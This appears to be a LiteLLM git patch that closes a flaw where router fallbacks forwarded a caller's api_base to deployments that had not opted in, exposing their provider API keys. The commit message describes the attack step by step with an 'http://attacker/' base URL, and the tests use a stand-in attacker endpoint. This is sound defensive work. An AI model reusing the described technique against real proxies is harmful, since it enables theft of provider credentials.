From 85e61375d9e7cf5e889372b6322b7a3efb50f92e Mon Sep 17 00:00:00 2001 From: AUTHENSOR <250658088+AUTHENSOR@users.noreply.github.com> Date: Sat, 5 Sep 2026 18:18:36 -0700 Subject: [PATCH] fix(router): re-validate clientside-credential opt-in when fallbacks re-dispatch MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Auth-time validation of caller-supplied clientside credentials (api_base / api_key / base_url) checks the opt-in for the model the caller DECLARED only. Server-side router fallbacks re-dispatch the same kwargs to a DIFFERENT deployment: if model-a opts into configurable api_base and the config lists model-b as model-a's fallback, a caller can send {"model": "model-a", "api_base": "http://attacker/"} (passes auth for model-a), make their host answer 500, and the fallback re-dispatch would forward the caller's api_base to model-b's dispatch — overriding model-b's api_base while keeping model-b's own api_key, exfiltrating that provider key to the caller-chosen host. Three coordinated pieces: - litellm_pre_call_utils: stamp the authoritative clientside-credential opt-in scope into request metadata ("proxy_wide" when general_settings.allow_client_side_credentials is true, else "per_model"), and strip caller-forged values for that metadata key (_UNTRUSTED_METADATA_CONTROL_FIELDS) so the scope cannot be spoofed. - router: at dispatch time, drop clientside credential keys the deployment being dispatched did not opt in to (strip_clientside_credentials_without_deployment_opt_in) before the clientside-credential branch can forward them. - clientside_credential_handler: the scope constants, the per-deployment opt-in check mirroring proxy auth's _is_param_allowed (kept local to avoid a proxy -> router_utils circular import), and the strip helper. Deliberately narrow scoping so the SDK router's per-call credential feature is unchanged: no scope stamp (plain SDK call) -> unchanged; proxy_wide -> unchanged; per_model -> each clientside credential key must be opted in by the deployment being dispatched, else it is stripped and the deployment's own config is used. Regression: model-a(opt-in) -> 500 -> fallback model-b previously served the fallback with model-b's dispatch pointed at the attacker URL and leaked "Authorization: Bearer sk-backend-B-credential" to it; with this change the fallback uses model-b's configured upstream, only the opted-in model-a ever honors the caller's api_base, and the direct control (model-b + api_base, no fallback) still 401s. --- litellm/proxy/litellm_pre_call_utils.py | 36 ++++- litellm/router.py | 7 + .../clientside_credential_handler.py | 110 +++++++++++++ .../test_clientside_credential_handler.py | 148 ++++++++++++++++++ 4 files changed, 300 insertions(+), 1 deletion(-) create mode 100644 tests/test_litellm/router_utils/test_clientside_credential_handler.py diff --git a/litellm/proxy/litellm_pre_call_utils.py b/litellm/proxy/litellm_pre_call_utils.py index d026c5510e6..a2841c22dff 100644 --- a/litellm/proxy/litellm_pre_call_utils.py +++ b/litellm/proxy/litellm_pre_call_utils.py @@ -271,6 +271,10 @@ _UNTRUSTED_ROOT_CONTROL_FIELDS: Final = ( ) _UNTRUSTED_METADATA_CONTROL_FIELDS: Final = ( + # Proxy-authoritative clientside-credential opt-in scope; the proxy + # overwrites it in add_litellm_data_to_request, so a caller-forged value + # must never survive to the router. + "litellm_proxy_clientside_credential_scope", "disable_global_guardrails", "disable_global_guardrail", "opted_out_global_guardrails", @@ -1781,7 +1785,15 @@ async def add_litellm_data_to_request( """ - from litellm.proxy.proxy_server import llm_router, premium_user + # The general_settings alias is the fallback for callers that don't pass + # it: needed to stamp the clientside-credential opt-in scope below. + from litellm.proxy.proxy_server import ( + general_settings as _proxy_general_settings, + ) + from litellm.proxy.proxy_server import ( + llm_router, + premium_user, + ) from litellm.types.proxy.litellm_pre_call_utils import RedactedDict, SecretFields # Strip internal-only keys from user input before the proxy sets its own. @@ -2051,6 +2063,28 @@ async def add_litellm_data_to_request( ) data[_metadata_variable_name]["litellm_api_version"] = version + # Stamp the authoritative clientside-credential opt-in scope for this + # request: "proxy_wide" when general_settings.allow_client_side_credentials + # is true, else "per_model". The router re-validates per-deployment opt-in + # whenever these kwargs are re-dispatched (server-side fallbacks) — without + # this, a fallback target that never opted in would get its api_base + # overridden to the caller's URL while keeping its own api_key. + # Any caller-supplied value for this key was stripped above + # (_UNTRUSTED_METADATA_CONTROL_FIELDS), so this value cannot be forged. + from litellm.router_utils.clientside_credential_handler import ( + PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_METADATA_KEY, + PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PER_MODEL, + PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PROXY_WIDE, + ) + + _clientside_scope_settings: Final = general_settings if general_settings is not None else _proxy_general_settings + data[_metadata_variable_name][PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_METADATA_KEY] = ( + PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PROXY_WIDE + if isinstance(_clientside_scope_settings, dict) + and _clientside_scope_settings.get("allow_client_side_credentials") is True + else PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PER_MODEL + ) + if general_settings is not None: data[_metadata_variable_name]["global_max_parallel_requests"] = general_settings.get( "global_max_parallel_requests", None diff --git a/litellm/router.py b/litellm/router.py index 6d6efad9f42..cd4ec2dc224 100644 --- a/litellm/router.py +++ b/litellm/router.py @@ -131,6 +131,7 @@ from litellm.router_utils.client_initalization_utils import InitalizeCachedClien from litellm.router_utils.clientside_credential_handler import ( get_dynamic_litellm_params, is_clientside_credential, + strip_clientside_credentials_without_deployment_opt_in, ) from litellm.router_utils.common_utils import ( _is_proxy_admin_request, @@ -3623,6 +3624,12 @@ class Router: deployment_litellm_model_name = deployment["litellm_params"]["model"] deployment_api_base = deployment["litellm_params"].get("api_base") deployment_model_name: Final = deployment["model_name"] + # Re-dispatches (server-side fallbacks) reuse these kwargs against a + # deployment that never saw the auth-time opt-in check. Drop any + # clientside credential key this deployment did not opt in to before + # the clientside-credential branch can forward them (which would + # override the deployment's api_base while keeping its api_key). + strip_clientside_credentials_without_deployment_opt_in(deployment=deployment, kwargs=kwargs) if is_clientside_credential(request_kwargs=kwargs): deployment_pydantic_obj: Final = self._handle_clientside_credential( deployment=deployment, kwargs=kwargs, function_name=function_name diff --git a/litellm/router_utils/clientside_credential_handler.py b/litellm/router_utils/clientside_credential_handler.py index 55b246b22a7..55660ac2d25 100644 --- a/litellm/router_utils/clientside_credential_handler.py +++ b/litellm/router_utils/clientside_credential_handler.py @@ -11,10 +11,24 @@ If given, generate a unique model_id for the deployment. Ensures cooldowns are applied correctly. """ +import re +from collections.abc import Mapping from typing import Final clientside_credential_keys: Final = ["api_key", "api_base", "base_url"] +# Metadata key the proxy stamps with the admin opt-in scope that authorized +# the caller's clientside credentials at auth time. Consumed by +# strip_clientside_credentials_without_deployment_opt_in below to re-validate +# per-deployment opt-in when a re-dispatch (server-side router fallback) would +# otherwise forward those credentials to a deployment that never opted in. +# User-supplied values for this key are stripped by the proxy (see +# litellm/proxy/litellm_pre_call_utils.py _UNTRUSTED_METADATA_CONTROL_FIELDS), +# so the scope cannot be forged by a caller. +PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_METADATA_KEY: Final = "litellm_proxy_clientside_credential_scope" +PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PROXY_WIDE: Final = "proxy_wide" +PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PER_MODEL: Final = "per_model" + def _admin_config_fields_to_clear_on_base_override() -> list[str]: """ @@ -103,3 +117,99 @@ def get_dynamic_litellm_params(litellm_params: dict, request_kwargs: dict) -> di litellm_params[field] = request_kwargs[field] return litellm_params + + +def _clientside_param_allowed_for_deployment( + param: str, + request_body_value: object, + configurable_clientside_auth_params: object, +) -> bool: + """ + Mirror of litellm.proxy.auth.auth_utils._is_param_allowed (kept here + because router_utils cannot import from the proxy package without a + circular import). A param is allowed when the deployment's + ``configurable_clientside_auth_params`` names it, or — for ``api_base`` + only — a ``{"api_base": }`` dict entry regex/equal-matches the + caller-supplied value. + """ + if configurable_clientside_auth_params is None: + return False + + for item in configurable_clientside_auth_params: + if isinstance(item, str) and param == item: + return True + if isinstance(item, dict) and param == "api_base" and isinstance(request_body_value, str): + pattern = item.get("api_base") + if isinstance(pattern, str) and (re.match(pattern, request_body_value) or pattern == request_body_value): + return True + + return False + + +def strip_clientside_credentials_without_deployment_opt_in(deployment: Mapping[str, object], kwargs: dict) -> None: + """ + Re-validate the proxy's per-deployment clientside-credential opt-in at + (re-)dispatch time. + + Auth time (litellm.proxy.auth.auth_utils._check_banned_params) validates + caller-supplied clientside credentials (api_key / api_base / base_url) + against the model the caller DECLARED only. Server-side router fallbacks + re-dispatch the same kwargs to a DIFFERENT deployment, which must re-consent: + without this check, a deployment that never opted in gets its api_base + overridden to the caller's URL while keeping its own api_key, exfiltrating + that deployment's provider key to the caller-chosen host. + + Scoping (deliberately narrow so the SDK router's per-call credential + feature is unchanged): + - No scope stamp in kwargs metadata (plain SDK completion call, or a proxy + route that never stamped one): unchanged behavior. + - ``proxy_wide`` (general_settings.allow_client_side_credentials = true): + the admin opted every deployment in; unchanged behavior. + - ``per_model``: each clientside credential key in kwargs must be opted in + by the deployment being dispatched (its model_info / + litellm_params ``configurable_clientside_auth_params``); keys that are + not are stripped so the dispatch uses the deployment's own config. + + Metadata buckets: the proxy stamps the scope into exactly one of + ``metadata`` / ``litellm_metadata`` (``_get_metadata_variable_name``). + On LITELLM_METADATA_ROUTES (/v1/messages, responses, batches, bedrock, + files) and the thread/assistant routes that bucket is + ``litellm_metadata``, while a caller-supplied provider-facing ``metadata`` + object survives as a SECOND kwargs bucket. This helper therefore inspects + every bucket — reading only one let an unstamped caller ``metadata`` + object shadow the stamp and skip stripping on fallback re-dispatch. + Non-dict buckets (e.g. a JSON-encoded string) cannot carry the stamp and + are skipped. Caller-forged scope values are stripped upstream + (_UNTRUSTED_METADATA_CONTROL_FIELDS), so any value found is + proxy-authored; if buckets ever disagree, fail closed to the most + restrictive scope (``per_model``), mirroring the both-bucket loops the + proxy uses at its other security boundaries. + """ + scope: str | None = None + for metadata_key in ("metadata", "litellm_metadata"): + metadata_bucket: object = kwargs.get(metadata_key) + if not isinstance(metadata_bucket, dict): + continue + bucket_scope: object = metadata_bucket.get(PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_METADATA_KEY) + if bucket_scope == PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PER_MODEL: + scope = PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PER_MODEL + break + if bucket_scope == PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PROXY_WIDE and scope is None: + scope = PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PROXY_WIDE + if scope != PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PER_MODEL: + return + + allowed_params: object = None + model_info: object = deployment.get("model_info") + if isinstance(model_info, Mapping): + allowed_params = model_info.get("configurable_clientside_auth_params") + if allowed_params is None: + litellm_params: object = deployment.get("litellm_params") + if isinstance(litellm_params, Mapping): + allowed_params = litellm_params.get("configurable_clientside_auth_params") + else: + allowed_params = getattr(litellm_params, "configurable_clientside_auth_params", None) + + for key in clientside_credential_keys: + if key in kwargs and not _clientside_param_allowed_for_deployment(key, kwargs[key], allowed_params): + kwargs.pop(key, None) diff --git a/tests/test_litellm/router_utils/test_clientside_credential_handler.py b/tests/test_litellm/router_utils/test_clientside_credential_handler.py new file mode 100644 index 00000000000..ed8d5208822 --- /dev/null +++ b/tests/test_litellm/router_utils/test_clientside_credential_handler.py @@ -0,0 +1,148 @@ +""" +Regression tests for the clientside-credential fallback re-validation scope +lookup (see litellm/router_utils/clientside_credential_handler.py). + +The proxy stamps the opt-in scope into exactly one metadata bucket +(``_get_metadata_variable_name``): ``litellm_metadata`` on +LITELLM_METADATA_ROUTES (/v1/messages, responses, batches, bedrock, files) +and the thread/assistant routes, ``metadata`` everywhere else — while a +caller-supplied provider-facing ``metadata`` object can survive as a second +kwargs bucket on those routes. The strip helper must consult EVERY bucket so +an unstamped caller bucket cannot shadow the proxy stamp (PR 40001 review: +"High: Duplicate metadata bypasses fallback credential stripping"). +""" + +from litellm.router_utils.clientside_credential_handler import ( + PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_METADATA_KEY, + strip_clientside_credentials_without_deployment_opt_in, +) + +SCOPE_KEY = PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_METADATA_KEY +ATTACKER_API_BASE = "http://127.0.0.1:9/attacker" + +DEPLOYMENT_WITHOUT_OPT_IN = { + "model_name": "model-b", + "litellm_params": { + "model": "openai/gpt-4o", + "api_key": "sk-backend-b", + "api_base": "http://legit-upstream", + }, +} +DEPLOYMENT_WITH_OPT_IN = { + "model_name": "model-b", + "litellm_params": { + "model": "openai/gpt-4o", + "api_key": "sk-backend-b", + "api_base": "http://legit-upstream", + "configurable_clientside_auth_params": ["api_base"], + }, +} + + +def _kwargs_with_caller_credential() -> dict: + return {"api_base": ATTACKER_API_BASE, "messages": [{"role": "user", "content": "hi"}]} + + +def test_caller_metadata_does_not_shadow_per_model_stamp_in_litellm_metadata(): + """The reported bypass shape: unstamped caller ``metadata`` object + per_model + stamp in ``litellm_metadata`` (LITELLM_METADATA_ROUTES / thread routes).""" + kwargs = _kwargs_with_caller_credential() + kwargs["metadata"] = {"user_id": "legit-anthropic-metadata"} + kwargs["litellm_metadata"] = {SCOPE_KEY: "per_model"} + + strip_clientside_credentials_without_deployment_opt_in(deployment=DEPLOYMENT_WITHOUT_OPT_IN, kwargs=kwargs) + + assert "api_base" not in kwargs + + +def test_reverse_bucket_order_still_strips(): + """Stamp in ``metadata`` (regular routes) must not be shadowed by an + unstamped ``litellm_metadata`` bucket either.""" + kwargs = _kwargs_with_caller_credential() + kwargs["metadata"] = {SCOPE_KEY: "per_model"} + kwargs["litellm_metadata"] = {"user_id": "unrelated"} + + strip_clientside_credentials_without_deployment_opt_in(deployment=DEPLOYMENT_WITHOUT_OPT_IN, kwargs=kwargs) + + assert "api_base" not in kwargs + + +def test_json_string_metadata_bucket_does_not_shadow_stamp(): + """A JSON-encoded string bucket (multipart/extra_body shape) cannot carry + the stamp and must not shadow the dict bucket that does.""" + import json + + kwargs = _kwargs_with_caller_credential() + kwargs["metadata"] = json.dumps({"user_id": "legit"}) + kwargs["litellm_metadata"] = {SCOPE_KEY: "per_model"} + + strip_clientside_credentials_without_deployment_opt_in(deployment=DEPLOYMENT_WITHOUT_OPT_IN, kwargs=kwargs) + + assert "api_base" not in kwargs + + +def test_conflicting_scopes_fail_closed_to_per_model(): + """If buckets ever disagree, the most restrictive scope wins. (Caller-forged + scope values are stripped upstream, so this is defense in depth.)""" + kwargs = _kwargs_with_caller_credential() + kwargs["metadata"] = {SCOPE_KEY: "proxy_wide"} + kwargs["litellm_metadata"] = {SCOPE_KEY: "per_model"} + + strip_clientside_credentials_without_deployment_opt_in(deployment=DEPLOYMENT_WITHOUT_OPT_IN, kwargs=kwargs) + + assert "api_base" not in kwargs + + +def test_bracket_encoded_and_case_variant_keys_do_not_shadow_stamp(): + """Form-style ``metadata[...]`` keys and case variants are distinct kwargs + keys and must never be mistaken for (or shadow) a stamped bucket.""" + kwargs = _kwargs_with_caller_credential() + kwargs["metadata[foo]"] = "bar" + kwargs["Metadata"] = {"user_id": "case-variant"} + kwargs["litellm_metadata"] = {SCOPE_KEY: "per_model"} + + strip_clientside_credentials_without_deployment_opt_in(deployment=DEPLOYMENT_WITHOUT_OPT_IN, kwargs=kwargs) + + assert "api_base" not in kwargs + + +def test_no_scope_stamp_leaves_sdk_router_behavior_unchanged(): + """Plain SDK completion call (no proxy stamp anywhere): the per-call + clientside credential feature must keep working.""" + kwargs = _kwargs_with_caller_credential() + kwargs["metadata"] = {"user_id": "sdk-user"} + + strip_clientside_credentials_without_deployment_opt_in(deployment=DEPLOYMENT_WITHOUT_OPT_IN, kwargs=kwargs) + + assert kwargs["api_base"] == ATTACKER_API_BASE + + +def test_missing_metadata_entirely_leaves_behavior_unchanged(): + kwargs = _kwargs_with_caller_credential() + + strip_clientside_credentials_without_deployment_opt_in(deployment=DEPLOYMENT_WITHOUT_OPT_IN, kwargs=kwargs) + + assert kwargs["api_base"] == ATTACKER_API_BASE + + +def test_proxy_wide_scope_leaves_credential_untouched(): + """Admin opted every deployment in via + general_settings.allow_client_side_credentials.""" + kwargs = _kwargs_with_caller_credential() + kwargs["metadata"] = {SCOPE_KEY: "proxy_wide"} + + strip_clientside_credentials_without_deployment_opt_in(deployment=DEPLOYMENT_WITHOUT_OPT_IN, kwargs=kwargs) + + assert kwargs["api_base"] == ATTACKER_API_BASE + + +def test_opted_in_deployment_keeps_caller_credential_under_per_model(): + """The benign primary-path case: the dispatched deployment opted in to the + credential key, so the caller's value is honored even under per_model.""" + kwargs = _kwargs_with_caller_credential() + kwargs["metadata"] = {"user_id": "legit"} + kwargs["litellm_metadata"] = {SCOPE_KEY: "per_model"} + + strip_clientside_credentials_without_deployment_opt_in(deployment=DEPLOYMENT_WITH_OPT_IN, kwargs=kwargs) + + assert kwargs["api_base"] == ATTACKER_API_BASE